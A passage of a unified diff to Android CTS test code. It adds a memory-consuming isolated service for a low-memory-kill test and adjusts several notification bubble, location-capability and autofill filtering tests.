+ long totalMb = (reader.getFreeSizeKb() + reader.getCachedSizeKb()) >> 10;
+ if (!MemoryConsumerService.runOnce(consumer, totalMb) && list.size() == 0) {
+ // Need to create a new consumer (the present one might be running out of space)
+ p = MemoryConsumerService.bindToService(mContext, testFunc,
+ procNamePrefix + mProcSeqNum++);
+ consumer = p.first;
+ memConsumers.add(p.second);
}
- addresses.add(addr);
-
- // We don't have direct access to Memory.pokeByte() though
- DirectByteBuffer buf = new DirectByteBuffer(oneMb, addr, fd, null, false);
-
- // Dirt the buffer
- for (int j = 0; j < oneMb; j += pageSize) {
- buf.put(j, (byte) 0xf);
- }
-
- // Check if we could get the report
- list = ShellIdentityUtils.invokeMethodWithShellPermissions(
- STUB_PACKAGE_NAME, mStubPackagePid, 1,
- mActivityManager::getHistoricalProcessExitReasons,
- android.Manifest.permission.DUMP);
- if (list != null && list.size() == 1) {
+ // make sure we have cached process killed
+ String output = executeShellCmd("dumpsys activity lru");
+ if (output == null && output.indexOf(" cch+") == -1) {
break;
}
}
- return list;
+
+ return memConsumers;
}
public void testLmkdKill() throws Exception {
@@ -444,23 +443,32 @@
// Start a process and do nothing
startService(ACTION_FINISH, STUB_SERVICE_NAME, false, false);
- final int oneMb = 1024 * 1024;
- ArrayList<Long> addresses = new ArrayList<Long>();
- List<ApplicationExitInfo> list = fillUpMemoryAndCheck(addresses);
+ final ArrayList<IBinder> memConsumers = new ArrayList<>();
+ List<ApplicationExitInfo> list = new ArrayList<>();
+ final MemoryConsumerService.TestFuncInterface testFunc =
+ new MemoryConsumerService.TestFuncInterface(() -> {
+ final long token = Binder.clearCallingIdentity();
+ try {
+ List<ApplicationExitInfo> result =
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ STUB_PACKAGE_NAME, mStubPackagePid, 1,
+ mActivityManager::getHistoricalProcessExitReasons,
+ android.Manifest.permission.DUMP);
+ if (result != null && result.size() == 1) {
+ list.add(result.get(0));
+ return true;
+ }
+ } finally {
+ Binder.restoreCallingIdentity(token);
+ }
+ return false;
+ });
- while (list == null || list.size() == 0) {
- // make sure we have cached process killed
- String output = executeShellCmd("dumpsys activity lru");
- if (output == null && output.indexOf(" cch+") == -1) {
- break;
- }
- // try again since the system might have reclaimed some ram
- list = fillUpMemoryAndCheck(addresses);
- }
+ List<ServiceConnection> services = fillUpMemoryAndCheck(testFunc, list);
- // Free all the buffers firstly
- for (int i = addresses.size() - 1; i >= 0; i--) {
- Os.munmap(addresses.get(i), oneMb);
+ // Unbind all the service connections firstly
+ for (int i = services.size() - 1; i >= 0; i--) {
+ mContext.unbindService(services.get(i));
}
long now2 = System.currentTimeMillis();
diff --git a/tests/app/AppExitTest/src/android/app/cts/MemoryConsumerService.java b/tests/app/AppExitTest/src/android/app/cts/MemoryConsumerService.java
new file mode 100644
index 0000000..cca0fac
--- /dev/null
+++ b/tests/app/AppExitTest/src/android/app/cts/MemoryConsumerService.java
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.AsyncTask;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteException;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
+import android.util.Log;
+import android.util.Pair;
+
+import java.io.FileDescriptor;
+import java.nio.DirectByteBuffer;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.BooleanSupplier;
+
+public class MemoryConsumerService extends Service {
+ private static final String TAG = MemoryConsumerService.class.getSimpleName();
+
+ private static final int ACTION_RUN_ONCE = IBinder.FIRST_CALL_TRANSACTION;
+ private static final String EXTRA_BUNDLE = "bundle";
+ private static final String EXTRA_TEST_FUNC = "test_func";
+
+ private IBinder mTestFunc;
+
+ private IBinder mBinder = new Binder() {
+ @Override
+ protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+ throws RemoteException {
+ switch (code) {
+ case ACTION_RUN_ONCE:
+ reply.writeBoolean(fillUpMemoryAndCheck(data.readLong(), mTestFunc));
+ return true;
+ default:
+ return false;
+ }
+ }
+ };
+
+ static class TestFuncInterface extends Binder {
+ static final int ACTION_TEST = IBinder.FIRST_CALL_TRANSACTION;
+
+ private final BooleanSupplier mTestFunc;
+
+ TestFuncInterface(final BooleanSupplier testFunc) {
+ mTestFunc = testFunc;
+ }
+
+ @Override
+ protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+ throws RemoteException {
+ switch (code) {
+ case ACTION_TEST:
+ reply.writeBoolean(mTestFunc.getAsBoolean());
+ return true;
+ default:
+ return false;
+ }
+ }
+ }
+
+ private boolean fillUpMemoryAndCheck(final long totalMb, final IBinder testFunc) {
+ final int pageSize = 4096;
+ final int oneMb = 1024 * 1024;
+
+ // Create an empty fd -1
+ FileDescriptor fd = new FileDescriptor();
+
+ // Okay now start a loop to allocate 1MB each time and check if our process is gone.
+ for (long i = 0; i < totalMb; i++) {
+ long addr = 0L;
+ try {
+ addr = Os.mmap(0, oneMb, OsConstants.PROT_WRITE,
+ OsConstants.MAP_PRIVATE | OsConstants.MAP_ANONYMOUS, fd, 0);
+ } catch (ErrnoException e) {
+ Log.d(TAG, "mmap returns " + e.errno);
+ if (e.errno == OsConstants.ENOMEM) {
+ // Running out of address space?
+ return false;
+ }
+ }
+ if (addr == 0) {
+ return false;
+ }
+
+ // We don't have direct access to Memory.pokeByte() though
+ DirectByteBuffer buf = new DirectByteBuffer(oneMb, addr, fd, null, false);
+
+ // Dirt the buffer
+ for (int j = 0; j < oneMb; j += pageSize) {
+ buf.put(j, (byte) 0xf);
+ }
+
+ // Test to see if we could stop
+ Parcel data = Parcel.obtain();
+ Parcel reply = Parcel.obtain();
+ try {
+ testFunc.transact(TestFuncInterface.ACTION_TEST, data, reply, 0);
+ if (reply.readBoolean()) {
+ break;
+ }
+ } catch (RemoteException e) {
+ // Ignore
+ } finally {
+ data.recycle();
+ reply.recycle();
+ }
+ }
+ return true;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ final Bundle bundle = intent.getBundleExtra(EXTRA_BUNDLE);
+ mTestFunc = bundle.getBinder(EXTRA_TEST_FUNC);
+ return mBinder;
+ }
+
+ static Pair<IBinder, ServiceConnection> bindToService(final Context context,
+ final TestFuncInterface testFunc, String instanceName) throws Exception {
+ final Intent intent = new Intent();
+ intent.setClass(context, MemoryConsumerService.class);
+ final Bundle bundle = new Bundle();
+ bundle.putBinder(EXTRA_TEST_FUNC, testFunc);
+ intent.putExtra(EXTRA_BUNDLE, bundle);
+ final String keyIBinder = "ibinder";
+ final Bundle holder = new Bundle();
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ServiceConnection conn = new ServiceConnection() {
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ holder.putBinder(keyIBinder, service);
+ latch.countDown();
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ }
+ };
+ context.bindIsolatedService(intent, Context.BIND_AUTO_CREATE,
+ instanceName, AsyncTask.THREAD_POOL_EXECUTOR, conn);
+ latch.await(10_000, TimeUnit.MILLISECONDS);
+ return new Pair<>(holder.getBinder(keyIBinder), conn);
+ }
+
+ static boolean runOnce(final IBinder binder, final long totalMb) {
+ final Parcel data = Parcel.obtain();
+ final Parcel reply = Parcel.obtain();
+
+ try {
+ data.writeLong(totalMb);
+ binder.transact(ACTION_RUN_ONCE, data, reply, 0);
+ return reply.readBoolean();
+ } catch (RemoteException e) {
+ return false;
+ } finally {
+ data.recycle();
+ reply.recycle();
+ }
+ }
+}
diff --git a/tests/app/src/android/app/cts/ActionBarTest.java b/tests/app/src/android/app/cts/ActionBarTest.java
index ee28c27..f3d2846 100644
--- a/tests/app/src/android/app/cts/ActionBarTest.java
+++ b/tests/app/src/android/app/cts/ActionBarTest.java
@@ -124,6 +124,21 @@
assertFalse(menuIsVisible[0]);
}
+ @UiThreadTest
+ public void testElevation() {
+ if (mBar == null) {
+ return;
+ }
+ final float oldElevation = mBar.getElevation();
+ try {
+ final float newElevation = 42;
+ mBar.setElevation(newElevation);
+ assertEquals(newElevation, mBar.getElevation());
+ } finally {
+ mBar.setElevation(oldElevation);
+ }
+ }
+
private Tab createTab(String name) {
return mBar.newTab().setText("Tab 1").setTabListener(new TestTabListener());
}
diff --git a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
index 748442d..28611c5 100644
--- a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
+++ b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
@@ -83,9 +83,6 @@
private static final int WAITFOR_MSEC = 10000;
private static final int NOTEOP_COUNT = 5;
- //TODO: remove this when development is done.
- private static final int DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION = 1 << 31;
-
private static final Instrumentation sInstrumentation =
InstrumentationRegistry.getInstrumentation();
private static final Context sContext = sInstrumentation.getContext();
@@ -209,7 +206,7 @@
// Wait for state and capability change.
// BG started FGS does not have location capability.
mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
- new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+ new Integer(PROCESS_CAPABILITY_NONE));
startSimpleActivity();
mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP,
@@ -220,7 +217,7 @@
stopSimpleActivity();
mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
- new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+ new Integer(PROCESS_CAPABILITY_NONE));
// AppOps location access should be denied.
assertEquals(MODE_IGNORED, noteOp(OPSTR_COARSE_LOCATION));
@@ -265,7 +262,7 @@
stopSimpleActivity();
// The callingPackage to start FGS is in background.
mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
- new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+ new Integer(PROCESS_CAPABILITY_NONE));
for (int i = 0; i < NOTEOP_COUNT; i++) {
noteOp(OPSTR_COARSE_LOCATION);
}
@@ -309,7 +306,7 @@
startSimpleService();
// Wait for state and capability change.
mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
- new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+ new Integer(PROCESS_CAPABILITY_NONE));
// Non-Top started FGS do not have while-in-use permission, camera/microphone access is
// denied.
@@ -329,7 +326,7 @@
// Tell the activity to finalize.
stopSimpleActivity();
mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
- new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+ new Integer(PROCESS_CAPABILITY_NONE));
// App not in Top, camera/microphone access should be denied.
assertEquals(MODE_IGNORED, noteOp(OPSTR_CAMERA));
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index 9a4cb3a..9302e67 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -37,10 +37,6 @@
private static final String PACKAGE_NAME_APP1 = "com.android.app1";
private static final String PACKAGE_NAME_APP2 = "com.android.app2";
private static final String PACKAGE_NAME_APP3 = "com.android.app3";
-
- //TODO: remove this when development is done.
- private static final int DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION = 1 << 31;
-
private static final String ACTION_START_FGS_RESULT =
"android.app.stubs.LocalForegroundService.RESULT";
private static final String ACTION_START_FGSL_RESULT =
@@ -91,7 +87,7 @@
// Package1 is in FGS state, but won't get location capability.
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_FG_SERVICE,
- new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+ new Integer(PROCESS_CAPABILITY_NONE));
// stop FGSL
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -111,7 +107,7 @@
// Package1 is in STATE_FG_SERVICE, but won't get location capability.
uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_FG_SERVICE,
- new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+ new Integer(PROCESS_CAPABILITY_NONE));
// stop FGSL.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -170,7 +166,7 @@
// Package2 won't have location capability because package1 is not in TOP state.
uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_FG_SERVICE,
- new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+ new Integer(PROCESS_CAPABILITY_NONE));
waiter.doWait(WAITFOR_MSEC);
CommandReceiver.sendCommand(mContext,
@@ -246,7 +242,7 @@
// Package2 won't have location capability.
uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_FG_SERVICE,
- new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+ new Integer(PROCESS_CAPABILITY_NONE));
// Stop FGSL in package2.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -274,7 +270,7 @@
// Package2 won't have location capability.
uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_FG_SERVICE,
- new Integer(DEBUG_PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+ new Integer(PROCESS_CAPABILITY_NONE));
waiter.doWait(WAITFOR_MSEC);
// stop FGSL in package2.
CommandReceiver.sendCommand(mContext,
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 572f9e7..a966d2b 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -1465,7 +1465,7 @@
public void testCanBubble_ranking() throws Exception {
if ((mActivityManager.isLowRamDevice() && !FeatureUtil.isWatch())
- || FeatureUtil.isAutomotive()) {
+ || FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
return;
}
@@ -2876,8 +2876,8 @@
public void testNotificationManagerBubblePolicy_flag_intentBubble()
throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
try {
@@ -2896,8 +2896,8 @@
public void testNotificationManagerBubblePolicy_noFlag_service()
throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
Intent serviceIntent = new Intent(mContext, BubblesTestService.class);
@@ -2922,8 +2922,8 @@
public void testNotificationManagerBubblePolicy_noFlag_phonecall()
throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
Intent serviceIntent = new Intent(mContext, BubblesTestService.class);
@@ -2948,8 +2948,8 @@
}
public void testNotificationManagerBubblePolicy_noFlag_foreground() throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
try {
@@ -2975,8 +2975,8 @@
public void testNotificationManagerBubble_checkActivityFlagsDocumentLaunchMode()
throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
try {
@@ -3016,8 +3016,8 @@
public void testNotificationManagerBubblePolicy_flag_shortcutBubble()
throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
try {
@@ -3041,8 +3041,8 @@
public void testNotificationManagerBubblePolicy_noFlag_invalidShortcut()
throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
try {
@@ -3066,8 +3066,8 @@
public void testNotificationManagerBubblePolicy_noFlag_invalidNotif()
throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
try {
@@ -3089,8 +3089,8 @@
}
public void testNotificationManagerBubblePolicy_appAll_globalOn() throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
try {
@@ -3112,8 +3112,8 @@
}
public void testNotificationManagerBubblePolicy_appAll_globalOff() throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
try {
@@ -3134,8 +3134,8 @@
}
public void testNotificationManagerBubblePolicy_appAll_channelNo() throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
try {
@@ -3156,8 +3156,8 @@
}
public void testNotificationManagerBubblePolicy_appSelected_channelNo() throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
try {
@@ -3178,8 +3178,8 @@
}
public void testNotificationManagerBubblePolicy_appSelected_channelYes() throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
try {
@@ -3201,8 +3201,8 @@
}
public void testNotificationManagerBubblePolicy_appNone_channelNo() throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
try {
@@ -3224,8 +3224,8 @@
public void testNotificationManagerBubblePolicy_noFlag_shortcutRemoved()
throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
@@ -3251,8 +3251,8 @@
}
public void testNotificationManagerBubbleNotificationSuppression() throws Exception {
- if (FeatureUtil.isAutomotive()) {
- // Automotive does not support notification bubbles.
+ if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+ // These do not support bubbles.
return;
}
try {
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index 7174f36..e877350 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -124,6 +124,10 @@
}
public void testNightModeAutoNotPersistedCarMode() {
+ if (mUiModeManager.isNightModeLocked()) {
+ return;
+ }
+
// Reset the mode to no if it is set to another value
setNightMode(UiModeManager.MODE_NIGHT_NO);
mUiModeManager.enableCarMode(0);
diff --git a/tests/app/src/android/app/cts/WallpaperManagerTest.java b/tests/app/src/android/app/cts/WallpaperManagerTest.java
index 5b0f9a1..b80b2dc 100644
--- a/tests/app/src/android/app/cts/WallpaperManagerTest.java
+++ b/tests/app/src/android/app/cts/WallpaperManagerTest.java
@@ -78,10 +78,11 @@
@Before
public void setUp() throws Exception {
- MockitoAnnotations.initMocks(this);
mContext = InstrumentationRegistry.getTargetContext();
mWallpaperManager = WallpaperManager.getInstance(mContext);
assumeTrue("Device does not support wallpapers", mWallpaperManager.isWallpaperSupported());
+
+ MockitoAnnotations.initMocks(this);
final HandlerThread handlerThread = new HandlerThread("TestCallbacks");
handlerThread.start();
mHandler = new Handler(handlerThread.getLooper());
@@ -102,7 +103,9 @@
@After
public void tearDown() throws Exception {
- mContext.unregisterReceiver(mBroadcastReceiver);
+ if (mBroadcastReceiver != null) {
+ mContext.unregisterReceiver(mBroadcastReceiver);
+ }
}
@Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
index ed2d219..6893090 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetFilteringTest.java
@@ -38,9 +38,9 @@
import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.MockImeSession;
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
import java.util.regex.Pattern;
@@ -53,15 +53,12 @@
super(inlineUiBot);
}
- @BeforeClass
- public static void setMaxDatasets() throws Exception {
- Helper.setMaxVisibleDatasets(4);
+ @Override
+ protected TestRule getMainTestRule() {
+ return RuleChain.outerRule(new MaxVisibleDatasetsRule(4))
+ .around(super.getMainTestRule());
}
- @AfterClass
- public static void restoreMaxDatasets() throws Exception {
- Helper.setMaxVisibleDatasets(0);
- }
private void changeUsername(CharSequence username) {
mActivity.onUsername((v) -> v.setText(username));
@@ -108,22 +105,19 @@
changeUsername("aa");
mUiBot.assertDatasets(aa);
- // Only two datasets start with 'a'
- changeUsername("a");
- mUiBot.assertDatasets(aa, ab);
-
- // With no filter text all datasets should be shown
- changeUsername("");
- mUiBot.assertDatasets(aa, ab, b);
-
// No dataset start with 'aaa'
final MyAutofillCallback callback = mActivity.registerCallback();
changeUsername("aaa");
- // TODO(b/157762527): Fix this for the inline case.
- if (!isInlineMode()) {
- callback.assertUiHiddenEvent(mActivity.getUsername());
- }
+ callback.assertUiHiddenEvent(mActivity.getUsername());
mUiBot.assertNoDatasets();
+
+ // Delete some text to bring back 2 datasets
+ changeUsername("a");
+ mUiBot.assertDatasets(aa, ab);
+
+ // With no filter text all datasets should be shown again
+ changeUsername("");
+ mUiBot.assertDatasets(aa, ab, b);
}
@Test
@@ -179,10 +173,7 @@
sendKeyEvent("KEYCODE_A");
sendKeyEvent("KEYCODE_A");
sendKeyEvent("KEYCODE_A");
- // TODO(b/157762527): Fix this for the inline case.
- if (!isInlineMode()) {
- callback.assertUiHiddenEvent(mActivity.getUsername());
- }
+ callback.assertUiHiddenEvent(mActivity.getUsername());
mUiBot.assertNoDatasets();
}
@@ -253,10 +244,7 @@
final MyAutofillCallback callback = mActivity.registerCallback();
final ImeCommand cmd5 = mockImeSession.callCommitText("aaa", 1);
expectCommand(stream, cmd5, MOCK_IME_TIMEOUT_MS);
- // TODO(b/157762527): Fix this for the inline case.
- if (!isInlineMode()) {
- callback.assertUiHiddenEvent(mActivity.getUsername());
- }
+ callback.assertUiHiddenEvent(mActivity.getUsername());
mUiBot.assertNoDatasets();
}
@@ -413,10 +401,7 @@
// No dataset start with 'aaa'
final MyAutofillCallback callback = mActivity.registerCallback();
changeUsername("aaa");
- // TODO(b/157762527): Fix this for the inline case.
- if (!isInlineMode()) {
- callback.assertUiHiddenEvent(mActivity.getUsername());
- }
+ callback.assertUiHiddenEvent(mActivity.getUsername());
mUiBot.assertNoDatasets();
}
@@ -483,10 +468,7 @@
// No dataset start with 'aaa'
final MyAutofillCallback callback = mActivity.registerCallback();
changeUsername("aaa");
- // TODO(b/157762527): Fix this for the inline case.
- if (!isInlineMode()) {
- callback.assertUiHiddenEvent(mActivity.getUsername());
- }
+ callback.assertUiHiddenEvent(mActivity.getUsername());
mUiBot.assertNoDatasets();
}
@@ -616,6 +598,7 @@
resetFilterTest(3);
}
+ // Tests that datasets are re-shown and filtering still works after clearing a selected value.
private void resetFilterTest(int number) throws Exception {
final String aa = "Two A's";
final String ab = "A and B";
@@ -669,38 +652,6 @@
// With no filter text all datasets should be shown
mUiBot.assertDatasets(aa, ab, b);
- // Only two datasets start with 'a'
- changeUsername("a");
- mUiBot.assertDatasets(aa, ab);
-
- // One dataset starts with 'aa'
- changeUsername("aa");
- mUiBot.assertDatasets(aa);
-
- // Filter all out
- changeUsername("aaa");
- // TODO(b/157762527): Fix this for the inline case.
- if (!isInlineMode()) {
- callback.assertUiHiddenEvent(username);
- }
- mUiBot.assertNoDatasets();
-
- // Now delete the char and assert aa is showing again
- changeUsername("aa");
- // TODO(b/157762527): Fix this for the inline case.
- if (!isInlineMode()) {
- callback.assertUiShownEvent(username);
- }
- mUiBot.assertDatasets(aa);
-
- // Delete one more and assert two datasets showing
- changeUsername("a");
- mUiBot.assertDatasets(aa, ab);
-
- // Reset back to all choices
- changeUsername("");
- mUiBot.assertDatasets(aa, ab, b);
-
// select the choice
mUiBot.selectDataset(chosenOne);
callback.assertUiHiddenEvent(username);
@@ -709,6 +660,10 @@
// Check the results.
mActivity.assertAutoFilled();
+ // Change the filled text and check that filtering still works.
+ changeUsername("a");
+ mUiBot.assertDatasets(aa, ab);
+
// Reset back to all choices
changeUsername("");
mUiBot.assertDatasets(aa, ab, b);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
index 2854b4c..f86c752 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
@@ -202,10 +202,10 @@
sReplier.addResponse(new CannedFillResponse.Builder().disableAutofill(duration).build());
// Trigger autofill for the first time.
- long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
// Launch activity again.
- passedTime += launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+ long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
// Wait for the timeout, then try again, autofilling it this time.
sleep(passedTime, duration);
@@ -275,10 +275,10 @@
.build());
// Trigger autofill for the first time.
- long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
// Launch activity again.
- passedTime += launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+ long passedTime = launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
// Make sure other app is working.
passedTime += launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
@@ -334,7 +334,6 @@
}
Log.v(TAG, "Sleeping for " + napTime + "ms (duration=" + disableDuration + "ms, passedTime="
+ passedTime + ")");
-
SystemClock.sleep(napTime);
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java
index 1ef42c5..1bad60a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java
@@ -117,6 +117,10 @@
// Set service.
enableService();
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ final View username = mActivity.getUsername();
+ final View password = mActivity.getPassword();
+
String[] expectedDatasets = new String[numDatasets];
final CannedFillResponse.Builder builder = new CannedFillResponse.Builder();
for (int i = 0; i < numDatasets; i++) {
@@ -136,11 +140,13 @@
mUiBot.waitForIdle();
mUiBot.assertDatasets(expectedDatasets);
+ callback.assertUiShownEvent(username);
mUiBot.selectDataset(expectedDatasets[selectedDatasetIndex]);
// Check the results.
mActivity.assertAutoFilled();
+ callback.assertUiHiddenEvent(username);
// Make sure input was sanitized.
final InstrumentedAutoFillService.FillRequest request = sReplier.getNextFillRequest();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 6091924..9e7c599 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -501,7 +501,12 @@
"Username1 at " + usernameBoundaries1 + "; picker at " + usernamePickerBoundaries1);
// TODO(b/37566627): assertions below might be too aggressive - use range instead?
if (pickerAndViewBoundsMatches) {
- assertThat(usernamePickerBoundaries1.top).isEqualTo(usernameBoundaries1.bottom);
